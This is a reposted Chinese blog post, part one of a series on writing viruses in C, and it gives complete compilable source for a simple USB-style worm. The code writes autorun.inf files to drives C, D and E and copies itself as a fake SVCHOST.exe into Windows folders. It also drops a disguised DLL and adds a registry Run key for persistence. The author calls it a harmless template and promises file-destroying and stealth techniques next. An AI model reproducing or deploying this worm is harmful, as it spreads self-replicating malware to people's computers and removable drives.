[转载]用C写病毒(1)

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。


可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力

本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
1 /* SVCHOST.C */
2 /* SVCHOST.EXE */
3
4 #define SVCHOST_NUM 6
5 #include<stdio.h>
6 #include<string.h>
7 char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
8 char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
9 char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
10 "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
11 "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
12 char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
13
14 int copy(char *infile,char *outfile)
15 {
16 FILE *input,*output;
17 char temp;
18 if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
19
20 (outfile,"wb"))!=NULL))
21 {
22 while(!feof(input))
23 {
24 fread(&temp,1,1,input);
25 fwrite(&temp,1,1,output);
26 }
27 fclose(input);
28 fclose(output);
29 return 0;
30 }
31 else return 1;
32 }
33 int main(void)
34 {
35 FILE *input,*output;
36 int i,k;
37 for(i=0;i<3;i++)
38 {
39 output=fopen(files_autorun[i],"w");
40 fprintf(output,"%s",autorun);
41 fclose(output);
42 }
43 for(i=0;i<=SVCHOST_NUM;i++)
44 {
45 if((input=fopen(files_svchost[i],"rb"))!=NULL)
46 {
47 fclose(input);
48 for(k=0;k<SVCHOST_NUM;k++)
49 {
50 copy(files_svchost[i],files_svchost[k]);
51 }
52 i=SVCHOST_NUM+1;
53 }
54 }
55 system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
56 return 0;
57 }

在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。
posted @ 2011-04-19 16:51  luoshupeng  阅读(546)  评论(0编辑  收藏  举报